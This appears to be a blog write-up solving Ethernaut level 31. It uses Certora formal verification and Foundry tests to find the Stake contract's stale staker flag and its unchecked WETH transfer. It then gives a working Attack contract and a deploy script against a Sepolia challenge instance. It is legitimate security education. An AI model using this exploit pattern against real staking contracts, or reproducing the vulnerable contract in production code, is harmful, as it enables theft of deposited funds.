Solving Ethernaut's Level 31

May 30, 2024 (2y ago)

Level 31: Stake.sol

If you are looking to solve Ethernaut's level 31, then you are in the right place. In this blog post, I will demonstrate how I solved Ethernaut's level 31 just a few hours after it was announce by OpenZeppelin on x. I will share my approach through formal verification on the specific assumptions I found for this level's contract. I will also show you my tests, and the deploy scripts to solve the level.

Here's the Stake contract from the challenge.

src/Stake.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
 
    uint256 public totalStaked;
    mapping(address => uint256) public UserStake;
    mapping(address => bool) public Stakers;
    address public WETH;
 
    constructor(address _weth) payable{
        totalStaked += msg.value;
        WETH = _weth;
    }
 
    function StakeETH() public payable {
        require(msg.value > 0.001 ether, "Don't be cheap");
        totalStaked += msg.value;
        UserStake[msg.sender] += msg.value;
        Stakers[msg.sender] = true;
    }
    function StakeWETH(uint256 amount) public returns (bool){
        require(amount >  0.001 ether, "Don't be cheap");
        (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
        require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
        totalStaked += amount;
        UserStake[msg.sender] += amount;
        (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
        Stakers[msg.sender] = true;
        return transfered;
    }
 
    function Unstake(uint256 amount) public returns (bool){
        require(UserStake[msg.sender] >= amount,"Don't be greedy");
        UserStake[msg.sender] -= amount;
        totalStaked -= amount;
        (bool success, ) = payable(msg.sender).call{value : amount}("");
        return success;
    }
    function bytesToUint(bytes memory data) internal pure returns (uint256) {
        require(data.length >= 32, "Data length must be at least 32 bytes");
        uint256 result;
        assembly {
            result := mload(add(data, 0x20))
        }
        return result;
    }
}

To complete this level, the contract state must meet the following conditions:

  1. The Stake contract's ETH balance has to be greater than 0.
  2. totalStaked must be greater than the Stake contract's ETH balance.
  3. You must be a staker.
  4. Your staked balance must be 0.

Approach Process

Firstly, always start by writing tests! It is faster, less cumbersome and characterizes you as highly skilled. My approach is Test Driven Development (TDD) for Solidity, so I wrote two testing sections, Testing (Certora) and Testing (Foundry).

Let's make sure we understand the requirements to complete this level.

  1. The Stake contract's ETH balance has to be greater than 0.
    • assert(eth_balance_of_stake_contract > 0);;
  2. totalStaked must be greater than the Stake contract's ETH balance.
    • assert(totalStaked > eth_balance_of_stake_contract);
  3. You must be a staker.
    • assert(Staker[player] = true);
  4. Your staked balance must be 0.
    • assert(UserStake[player] == 0);

Assumptions On State Requirements

  1. The Stake contract's ETH balance has to be greater than 0.

    • Hypothesis: When can you add Ether to this contract?
      1. Sending Ether through the only payable function StakeETH()
      2. Force sending Ether using selfdestruct(address) from another contract

  2. totalStaked must be greater than the Stake contract's ETH balance.

    • Hypothesis: When does totalStaked change in this contract?
      1. Incremented through StakeETH(amount) function call by passing an amount
      2. Incremented through StakeWETH(amount) function call by passing an amount
      3. Decremented through Unstake(amount) function call by passing an amount

  3. You must be a staker.

    • Hypothesis: When can I be staker, and when am I not a staker?
      1. I can become a staker by calling StakeETH(amount), or StakeWETH(amount) with a qualifying amount

  4. Your staked balance must be 0.

    • Hypothesis: When is my stake a zero balance?
      1. If I stake, then, unstake all my amounts, will my staked balance be 0?
      2. If I don't stake, will my stake always be 0
      3. If I unstake all my ETH/WETH to a zero amount, will the contract also update my staker status to false?

Creating good questions allows me to revisit any assumptions I have about the Stake Contract. Scan the contract again to see if you can find any more unanswered questions.

We're ready for testing!

Testing (Certora)

In this section, I will be showing you how to test, "4. when is my stake balance at 0", through a formal verification spec which will allow us confirm our assumptions.

I chose the following statements to build a spec for the Certora Prover:

  1. If a user's staked balance is greater than 0, then the user must be a staker.
  2. If a user's staked balance is 0, then the user must not be a staker. [seems obvious?]
certora/Stake.spec
using Stake as stake;
 
methods {
  function StakeETH() external;
  function StakeWETH(uint256 amount) external returns bool;
  function Unstake(uint256 amount) external returns bool;
}
 
// Verify that whenever a user's stake balance is greater than 0, then the user staker status must be true, with bi-implication equivalence
invariant WhenUserIsStaked(address user)
  stake.UserStake[user] > 0 <=>  stake.Stakers[user] == true;
 
// Verify that whenever a user's stake balance is 0, then the user staker status must be false, with bi-implication equivalence
invariant WhenUserIsNotStaked(address user)
  stake.UserStake[user] == 0 <=> stake.Stakers[user] == false;

Stake.spec is written in the Certora Verification Language and Stake.conf contains the instructions you are sending to the Certora prover

certora/Stake.conf
{
  "files": [
    "src/Stake.sol",
    "test/Mock/WETH.sol:WETH9"
  ],
  "verify": "Stake:certora/Stake.spec",
  "link": [
        "Stake:WETH=WETH9"
    ],
  "msg": "Stake Contract",
  "optimistic_loop": true,
  "rule_sanity" : "basic",
}
bash
# Run this in your terminal, see docs for more info https://docs.certora.com/en/latest/docs/user-guide/install.html
certoraRun certora/Stake.conf

See my results here from the Certora Prover. If you expand our two failing rules, "WhenUserIsStaked(user)" and "WhenUserIsNotStaked(user)", you will discover the invariants are violated only whenever parametric calls to Stake.Unstake(uint256) are made inside the Stake contract.

We see that our Stake contract has failed our assumptions. We expected that if a user's staked balance is 0, then the user must not be a staker; otherwise, if a user's staked balance is greater than 0, then the user must be a staker.

From my results, I observed that a user's Staker status still remains true even after they have unstaked all staked amounts to zero. This means we have solved two requirements, "3. You must be a staker" and "4. Your staked balance must be 0." ✅.

We are done with formal verification for now.

Let's complete the rest of the challenge in Foundry!

Testing (Foundry)

Step 1: Test Contract Set Up

Create a Test contract in foundry, and add all the assert requirements discussed in my approach process

test/Stake.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
 
import {Test, console} from "forge-std/Test.sol";
import {Stake} from "../src/Stake.sol";
 
interface IWETH {
    function deposit() external payable;
    function withdraw(uint256 wad) external;
    function approve(address guy, uint256 wad) external returns (bool);
}
 
contract StakeTest is Test {
    Stake stake;
    IWETH weth;
    uint256 amount;
    address owner;
 
    function setUp() public {
        bytes memory code =
            hex"606060...."; // mock weth contract
        weth = IWETH(makeAddr("weth"));
        vm.etch(address(weth), code);
        stake = new Stake(address(weth));
        amount = 0.001 ether + 1 wei;
        owner = makeAddr("user");
 
        vm.deal(address(this), 1 ether);
        vm.deal(address(owner), 1 ether);
        weth.deposit{value: amount}();
    }
 
    function test_stakeEth() public {
 
        assertGt(address(stake).balance, 0, "1. The Stake contract's ETH balance has to be greater than 0.");
        assertGt(
            stake.totalStaked(),
            address(stake).balance,
            "2. totalStaked must be greater than the Stake contract's ETH balance."
        );
        assertEq(stake.Stakers(address(owner)), true, "3. You must be a staker.");
        assertEq(stake.UserStake(address(owner)), 0, "4. Your staked balance must be 0.");
    }
}

Step 2. Assert The Stake Contract's ETH Balance Has To Be Greater Than 0, then Assert totalStaked Must Be Greater Than The Stake Contract's ETH Balance.

To pass the first requirement, "1. The Stake contract's ETH balance has to be greater than 0.", we will first stake ETH, and then unstake all amounts but a 1 wei.

To solve our second requirement, "2. totalStaked must be greater than the Stake contract's ETH balance.", we will stake both WETH and ETH, then unstake only once with our ETH staked amount. This will leave the Stake contract with no Ether balance. The Stake contract will not transfer WETH so from out previous step the contract balance is now 1 wei. Our totalStaked amount will be greater than the ETH balance in the Stake contract.

test/Stake.t.sol
// ...
function test_stakeEth() public {
    stake.StakeETH{value: amount}();
    stake.Unstake(amount - 1); // 1. ✅
    weth.approve(address(stake), amount);
    stake.StakeWETH(amount); // 2. ✅
 
    assertGt(address(stake).balance, 0, "1. The Stake contract's ETH balance has to be greater than 0.");
    assertGt(
        stake.totalStaked(),
        address(stake).balance,
        "2. totalStaked must be greater than the Stake contract's ETH balance."
    );
}
//...

Step 3: Assert You Must Be A Staker, and Assert Your Staked Balance Must Be 0.

From our formal verification results in Testing (Certora), we discovered that the Stake contract wasn't properly accounting a user's Staker status. Meaning, if a user unstakes all their staked amounts, their Staker status can still be true.

To solve our third requirement, "3. You must be a staker.", we will stake amounts of ETH.

To solve our forth requirement, "4. Your staked balance must be 0.", we will unstake all our amounts from the previous step.

test/Stake.t.sol
function test_stakeEth() public {
    // ...
    vm.startPrank(owner);
    stake.StakeETH{value: amount}(); // 3. ✅
    stake.Unstake(amount); // 4. ✅
    vm.stopPrank();
 
    assertEq(stake.Stakers(address(owner)), true, "3. You must be a staker.");
    assertEq(stake.UserStake(address(owner)), 0, "4. Your staked balance must be 0.");
}
// ...

Step 4: Send Your Contract's ETH Balance To Your Address.

There will be some ETH balance left in the your Test contract. We will transfer ETH from your Test contract's receive fallback function.

test/Stake.t.sol
// ...
receive() external payable {
    (bool success) = payable(owner).send(address(this).balance);
    require(success);
}
// ...

That's all!

Here's the full Test contract.

test/Stake.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
 
import {Test, console} from "forge-std/Test.sol";
import {Stake} from "../src/Stake.sol";
 
interface IWETH {
    function deposit() external payable;
    function withdraw(uint256 wad) external;
    function approve(address guy, uint256 wad) external returns (bool);
}
 
/// @title StakeTest
/// @author Meek E. Msaki
/// @notice Writeup for Ethernaut Stake (Challenge 31)
/// @dev Ethernaut challenge write up at msaki.io/blog/ethernaut-stake-challenge-31
/// @custom:Hey Take a break, enjoy life!
contract StakeTest is Test {
    Stake stake;
    IWETH weth;
    uint256 amount;
    address owner;
 
    function setUp() public {
        bytes memory code =
            hex"6060...."; // mock weth contract
        weth = IWETH(makeAddr("weth"));
        vm.etch(address(weth), code);
        stake = new Stake(address(weth));
        amount = 0.001 ether + 1 wei;
        owner = makeAddr("user");
 
        vm.deal(address(this), 1 ether);
        vm.deal(address(owner), 1 ether);
        weth.deposit{value: amount}();
    }
 
    function test_stakeEth() public {
        weth.approve(address(stake), amount);
        this._stakeEth();
        _stakeWETH();
        _unstake();
 
        vm.startPrank(owner);
        stake.StakeETH{value: amount}();
        stake.Unstake(amount);
        vm.stopPrank();
 
        assertGt(address(stake).balance, 0, "1. The Stake contract's ETH balance has to be greater than 0.");
        assertGt(
            stake.totalStaked(),
            address(stake).balance,
            "2. totalStaked must be greater than the Stake contract's ETH balance."
        );
        assertEq(stake.Stakers(address(owner)), true, "3. You must be a staker.");
        assertEq(stake.UserStake(address(owner)), 0, "4. Your staked balance must be 0.");
    }
 
    function _stakeEth() external payable {
        stake.StakeETH{value: amount}();
    }
 
    function _stakeWETH() internal {
        stake.StakeWETH(amount);
    }
 
    function _unstake() internal {
        stake.Unstake(amount - 1);
    }
 
    receive() external payable {
        (bool success) = payable(owner).send(address(this).balance);
        require(success);
    }
}
bash
# run test
forge test --match-path ./test/Stake.t.sol -vvvv;

We have a full Test suite, and have implemented passing tests for each requirement. We can run the tests, and if they all pass, we will move on to deploy our solution.

Deploying A Solution 🎉

We are ready to create a Hacking contract to solve this level. Maybe you should modify this contract to self-destruct after solving the challenge?

src/Attack.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
 
import {Stake} from "./Stake.sol";
import {IWETH} from "./IWETH.sol";
 
contract Attack {
    Stake stake;
    IWETH weth;
    uint256 amount;
    address owner;
 
    constructor(address _stake, address _weth) payable {
        weth = IWETH(_weth);
        stake = Stake(_stake);
        amount = 0.001 ether + 1 wei;
        owner = msg.sender;
    }
 
    function attack() public {
        (bool success) = weth.approve(address(stake), amount);
        assert(success);
        stake.StakeETH{value: amount}();
        stake.StakeWETH(amount);
        stake.Unstake(amount - 1);
    }
 
    receive() external payable {
        (bool success) = payable(owner).send(address(this).balance - 1);
        require(success);
    }
}

And finally, here is our AttackScript contract which will compile, and deploy our Attack contract. We will also use this contract to broadcast our transactions to complete the level.

script/Attack.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
 
import {Script, console} from "forge-std/Script.sol";
import {Attack, IWETH} from "../src/Attack.sol";
import {Stake} from "../src/Stake.sol";
 
contract AttackScript is Script {
    Attack attack;
    uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
    Stake stake;
    IWETH weth;
    uint256 amount;
    address WETH = 0xCd8AF4A0F29cF7966C051542905F66F5dca9052f; // mock weth contract
    address STAKE = 0x0c4Fc1858775fDE2580aCe54ce82Eb14a1b735d6; // your level 31 contract instance
 
    function run() public {
        vm.label(STAKE, "Stake");
        vm.label(WETH, "WETH");
        stake = Stake(STAKE);
        weth = IWETH(WETH);
        amount = 0.001 ether + 1 wei;
        vm.createSelectFork("sepolia");
 
        vm.startBroadcast(deployerPrivateKey);
        attack = new Attack{value: amount * 2}(STAKE, WETH);
        attack.attack();
        stake.StakeETH{value: amount}();
        stake.Unstake(amount);
        vm.stopBroadcast();
    }
}
bash
# deploy scripts:
forge script script/Attack.s.sol --evm-version shanghai --tc AttackScript --broadcast

Fin

Send a tweet if you get stuck. In the resources below, there's a hyperlink if you want to contact me on x. Send memes too.

Resources